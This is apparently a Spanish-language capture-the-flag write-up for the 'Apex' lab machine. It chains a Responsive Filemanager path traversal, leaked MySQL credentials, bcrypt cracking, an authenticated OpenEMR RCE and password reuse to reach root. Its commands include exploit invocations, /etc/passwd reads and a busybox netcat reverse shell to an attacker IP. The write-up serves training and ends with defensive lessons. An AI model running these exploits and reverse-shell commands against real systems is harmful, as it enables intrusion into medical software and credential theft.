Apex
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Apex es un hospital ficticio con OpenEMR 5.0.1 y un Responsive Filemanager 9.13.4 en el 80, un SMB condocsy MySQL en el 3306. El Filemanager tiene un path traversal (CVE-2018-20789): como su carpetaDocumentsestá sincronizada con el recurso SMBdocs, copiamossqlconf.phpahí y lo leemos por SMB (path traversal), obteniendo las credenciales de MySQL (openemr:C78maEQUIEuQ, credenciales en config). En la base de datos sacamos el hash bcrypt deadmin, lo rompemos athedoctor(cracking) y entramos en OpenEMR; su RCE autenticado (CVE-2018-17179) da shell comowww-data. Esa misma contraseña sirve parasu root(reutilización).
Reconocimiento
Escaneo inicial
El TTL de respuesta es 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.104.14564 bytes from 192.168.104.145: icmp_seq=1 ttl=61 time=29.1 msBarremos todos los puertos TCP y luego identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.104.145PORT STATE SERVICE
80/tcp open http
445/tcp open microsoft-ds
3306/tcp open mysqlnmap -p80,445,3306 -sCV 192.168.104.145 -oN targetedScanPORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: APEX Hospital
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB 5.5.5-10.1.48Una web hospitalaria (80), un Samba (445) y un MariaDB (3306). El conjunto sugiere una aplicación médica con su base de datos; el SMB suele guardar documentación o ficheros compartidos.
SMB - TCP 445
Con sesión nula enumeramos los recursos: docs es legible y contiene PDFs de OpenEMR, lo que delata la aplicación que corre detrás:
netexec smb 192.168.104.145 -u '' -p '' --shares
smbclient //192.168.104.145/docsdocs READ Documents
...
OpenEMR Success Stories.pdf
OpenEMR Features.pdfAbrir el PDF confirma el producto y hasta enlaza a su repositorio (github.com/openemr/openemr), que después nos servirá para saber dónde guarda OpenEMR sus ficheros:

Guardamos el dato clave: el recurso docs es una carpeta del servidor web (lo confirmaremos enseguida).
HTTP - TCP 80
La web es "APEX Hospital". Enumerando rutas aparecen /openemr (la aplicación médica) y un /filemanager:

OpenEMR está en /openemr; su admin.php identifica la versión 5.0.1:

Más tarde, ya dentro de la aplicación con sesión de administrador, el menú About la confirma desde la propia interfaz, sin depender del instalador:

About OpenEMR
Version Number: v5.0.1 (1)
User Manual
Online Support
Acknowledgments, Licensing and CertificationEse (1) del final es el número de parche, y es lo que va a decidir qué exploit sirve más adelante.
Y en /filemanager corre un Responsive Filemanager v9.13.4:

Ese Filemanager muestra una carpeta Documents. Enumerando el recurso SMB docs vemos los mismos dos PDFs que el Filemanager lista en Documents: las dos vistas apuntan a la misma carpeta del disco, es decir Documents (web) y docs (SMB) están sincronizadas. Esa sincronización será la pieza que une la cadena:

Lectura de ficheros (path traversal)
Responsive Filemanager 9.13.4: path traversal sincronizado con SMB
Responsive Filemanager 9.13.4 es vulnerable a un path traversal (CVE-2018-20789, exploit 49359.py). El exploit no devuelve el fichero directamente: usa la acción paste_clipboard para copiar el fichero apuntado dentro de la carpeta Documents. Como Documents está sincronizada con el recurso SMB docs, después leemos el resultado por SMB. Primero validamos el traversal contra /etc/passwd (necesita un PHPSESSID válido, que sacamos con un curl -I):
curl -I http://192.168.104.145/filemanager/
python3 exp.py "http://192.168.104.145" PHPSESSID=<sesion> /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinEl fichero copiado aparece como passwd dentro de Documents en el propio Filemanager, prueba visual de que el paste_clipboard funcionó:

En la raíz del gestor se ve igual de claro, ahora junto a las dos carpetas originales: el contador de la barra pasa a (1 Files - 2 Folders) y el passwd aparece como un fichero más, seleccionable y descargable desde el propio navegador:

/ (1 Files - 2 Folders)
Images Documents passwdY, al estar Documents sincronizada con docs, ese mismo passwd se puede descargar por SMB:

Con la PoC validada, el objetivo real es el sqlconf.php de OpenEMR, el fichero que guarda las credenciales de la base de datos. Su ruta la conocemos por el repositorio público de OpenEMR (sites/default/sqlconf.php):

Apuntamos el traversal a esa ruta y lo recuperamos por SMB:
python3 exp.py "http://192.168.104.145" PHPSESSID=<sesion> /var/www/openemr/sites/default/sqlconf.php
smbclient //192.168.104.145/docs # get sqlconf.php
El sqlconf.php revela las credenciales de la base de datos (credenciales en config):
$host = 'localhost';
$login = 'openemr';
$pass = 'C78maEQUIEuQ';
$dbase = 'openemr';Acceso a OpenEMR (credenciales)
MySQL: hash de admin y crackeo
Con esas credenciales entramos al MariaDB del 3306 y navegamos hasta la base openemr:
mysql -h 192.168.104.145 -u openemr -p --skip-ssl # C78maEQUIEuQ
MariaDB [(none)]> show databases;
information_schema
openemr
MariaDB [(none)]> use openemr;
MariaDB [openemr]> show tables;La tabla users_secure guarda el hash del administrador:
select username,password from users_secure;
admin $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnCEs un bcrypt; lo rompemos offline con John (cracking de hashes):
john --wordlist=/usr/share/wordlists/rockyou.txt hash
thedoctor (?)La contraseña de admin es thedoctor. La usamos en el login de OpenEMR:

Y entramos en el panel como Administrator:

Shell como www-data
OpenEMR 5.0.1: RCE autenticado (CVE-2018-17179)
OpenEMR 5.0.1 tiene un RCE autenticado (CVE-2018-17179): con una sesión válida de administrador se ejecutan comandos en el servidor. Buscamos el exploit público de esa versión:
searchsploit openemr 5.0.1
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.pyDescargamos 45161.py y lo renombramos:
searchsploit -m 45161.py
mv 45161.py openemr.py
Copied to: /proving_grounds/apex/exploits/45161.pyAntes de disparar una shell conviene comprobar que el RCE funciona. Lanzamos un ping hacia nosotros y lo capturamos con tcpdump:
sudo tcpdump -i tun0 icmp
python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "ping -c 1 192.168.45.196"
[$] Authenticating with admin:thedoctor
[$] Injecting payload
[$] Payload executed
20:40:49 IP 192.168.104.145 > 192.168.45.196: ICMP echo request, id 2221, seq 1
20:40:49 IP 192.168.45.196 > 192.168.104.145: ICMP echo reply, id 2221, seq 1El ICMP confirma la ejecución. Ahora dejamos un nc a la escucha y lanzamos la reverse shell con busybox netcat:
nc -nlvp 445python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "busybox nc 192.168.45.196 445 -e bash"
uid=33(www-data) gid=33(www-data) groups=33(www-data)Leemos la primera prueba (en el home de white):
cat /home/white/local.txt && whoami && ip a && hostname
a32d76701998f67dc7034c46f2415c16Escalada de privilegios
Reutilización de contraseña
La contraseña que rompimos para OpenEMR (thedoctor) es candidata obvia para otras cuentas (reutilización de credenciales). La probamos directamente con su root:
su root # thedoctor
id
www-data@APEX:/var/www/openemr/interface/main$ su root
Password:
root@APEX:/var/www/openemr/interface/main# id
uid=0(root) gid=0(root) groups=0(root)root reutiliza la misma contraseña. Leemos la prueba final:
cat /root/proof.txt && whoami && hostname && ip a
b41dc02e29368b5fdbcee6aaa4a38183Cadena de ataque
SMB docs (445) ── PDFs de OpenEMR (fingerprint) + carpeta sincronizada con /filemanager
HTTP (80) ── OpenEMR 5.0.1 + Responsive Filemanager 9.13.4
│ path traversal (CVE-2018-20789) -> copiar sqlconf.php a Documents -> leer por SMB
│ -> MySQL openemr:C78maEQUIEuQ
▼
MySQL (3306) ── users_secure -> hash bcrypt de admin -> john -> thedoctor
│ OpenEMR admin:thedoctor -> RCE autenticado (CVE-2018-17179) -> busybox nc
▼
shell como www-data (local.txt)
│ reutilizacion de contrasena -> su root (thedoctor)
▼
shell como root (proof.txt)Lecciones aprendidas
- Dos servicios que comparten una carpeta multiplican el riesgo. El path traversal del Filemanager solo copiaba ficheros a
Documents, pero esa carpeta era el recurso SMBdocs: la combinación convirtió una copia interna en lectura arbitraria desde fuera. - Validar la PoC antes del objetivo real. Leer primero
/etc/passwdconfirmó el traversal sin arriesgar nada; solo entonces fuimos a porsqlconf.php. Y el repositorio público de OpenEMR nos dio la ruta exacta de ese fichero. - Las credenciales de BD en config son un puente directo.
sqlconf.phpentregóopenemr:C78maEQUIEuQ, que abrió la base de datos y, con ella, el hash del administrador. - Un bcrypt con coste bajo y contraseña de diccionario cae rápido.
thedoctorsalió de rockyou en segundos; el coste 5 ayuda, pero el problema real es la contraseña débil. - Reutilizar contraseñas une la aplicación con el sistema. La misma
thedoctordel panel servía pararoot. Credenciales distintas por servicio (y unrootcon contraseña propia) habrían cortado la escalada.